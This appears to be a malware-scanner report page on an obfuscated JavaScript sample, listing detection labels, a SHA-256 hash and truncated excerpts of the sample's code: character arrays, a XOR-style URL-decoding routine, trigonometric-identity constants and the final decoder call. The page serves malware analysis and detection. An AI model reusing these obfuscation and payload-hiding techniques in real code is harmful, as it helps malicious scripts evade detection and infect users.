Suspicious 80% javascript-malware-collection Download

20151217_b124f15c7fc2ac34775dd710b82bca40.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256ad46c825b930af0d5192dadb7332368a312fb82fb36a566c40d656ef23111303

Evidence

0x3f hex byte token line 1
1zqfdqtyB=[0x4,0x5,0xb,0x13,0x18,0x19,0x1f,0x25,0x2a,0x2e,0x34,0x39,0x3f,0x45,0x48,0x4f,0x53,0x55,0x5e,0x5f,0x66,0x6a,0x71,0x76,0x79,0x80,0x85,0x8a,0x8f,0x95,0x99,0x9f,0xa4,0xa7,0xaa,0xb1,0xb8,0xba,0x …
Builds characters with String.fromCharCode line 2
2:154… 'd','t','8','+','s','v','z','>','Z','4','`','a','d','1','Q','N',String.fromCharCode(10),'>','P','5','<','/','R','b','Y','4','W','T','E','O','*','s','&',String.fromCharCode(13),'9','s','w','a','+','`',';','X','9',']','O','R','M','9','E','`','[','Y',':','S','A','l','S','O','"',',','^','-','@','y','9','a','k','f','u','a','k','F','H',':','z',' ','2','(','f','n','(','F',']','w','5','p','w','[','S',']','h','_','I …
XOR URL reconstruction call line 2
2:1858… 'j','(','*','Z','@','n','<','>','V','+','d','T','[','r','^','u',String.fromCharCode(92),'K','h','T','9','j',']','h','y','u','T','^','_','`','#','{','D','x','T','`','_','b','c','a','0','z','%','$','b','o','C','$','d','X','c','r','@','d','@','v','^','o','D','e','J','K','!','#','e','4','t','f','8','g','N','N','<','6','P','F','h','<','{','8',':','i','s','j','5','D','x','o','. …
Dense indexed short-token grid lines 12–13
12:33… gmulXVd,bXxEoXvjTku) {hkOVWrLgkZBreq[MrFVZPgmulXVd]=bXxEoXvjTku;}
13var q = new Array();q[0]=[];q[0][0]='d';q[0][1]='a';q[0][2]='d';q[0][3]='a';q[0][4]='46';q[0][5]='3d';q[0][6]='42';q[0][7]='14';q[0][8]='3h';q[0][9]='14';q[0][10]='25';q[0][11]='14';q[0][12]='16';q[0][13]='47';q[0][14]='3k';q[0][15]='3d';q[0][16]='44';q[0][17]='3g';q[0][18]='3l';q[0][19]='3g';q[0][20]='49';q[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],q[4],q[5]];
20var QfnahwmRL=[];
21function MAzNTwpZzwmHjfIpx(QmmMZ){KUqBelgCbXZ= '';xMrnqGxPkVv=Math.round((Math.pow(Math.sin(440), 2) + Math.pow(Math.cos(440), 2) - 1));while(true){if (xMrnqGxPkVv >= (5097+711)/968){break;}QfnahwmRL[xMrnqGxPkVv]=Math.round((Math.pow(Math.sin(737), 2) + Math.pow(Math.cos(737), 2) - 1)); while(true) { if(QfnahwmRL[xMrnqGxPkVv] > QmmMZ[xMrnqGxPkVv].length-(473+357)/830) { break; } if (wzzlWGF(BaxRe(QmmMZ[xMrnqGxPkVv][QfnahwmRL[xMrnqGxPkVv]],(9187+529)/347,(3230+240)/347))) {KUqBelgCbXZ += UCJqQbFaoMEqBFVbCwpHgxFQJihJccYrhJjuJNYXkzsgaNWkyUxvlO([QmmMZ[xMrnqGxPkVv][QfnahwmRL[xMrnqGxPkVv]]], Math.round((Math.pow(Math.sin(314), 2) + Math.pow(Math.cos(314), 2) - 1)));} QfnahwmRL[xMrnqGxPkVv]++;}xMrnqGxPkVv++;} return KUqBelgCbXZ}
22var FdFutBscmQysxNfOhfbceaysgaKbmNoYj = 'UbAnUqoitNCxmgHaClTRCJmfKheAQREQJJQr';var YeBHpibqQSejcUvrTkSWsjkeYkAdLxkA = 'beGnmWbMTINOiXXEGoOKZFXvkrDXPgVvElQK';QEITOMmvRIvSYXK(MAzNTwpZzwmHjfIpx(QmmMZ),FdFutBscmQysxNfOhfbceaysgaKbmNoYj,YeBHpibqQSejcUvrTkSWsjkeYkAdLxkA);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.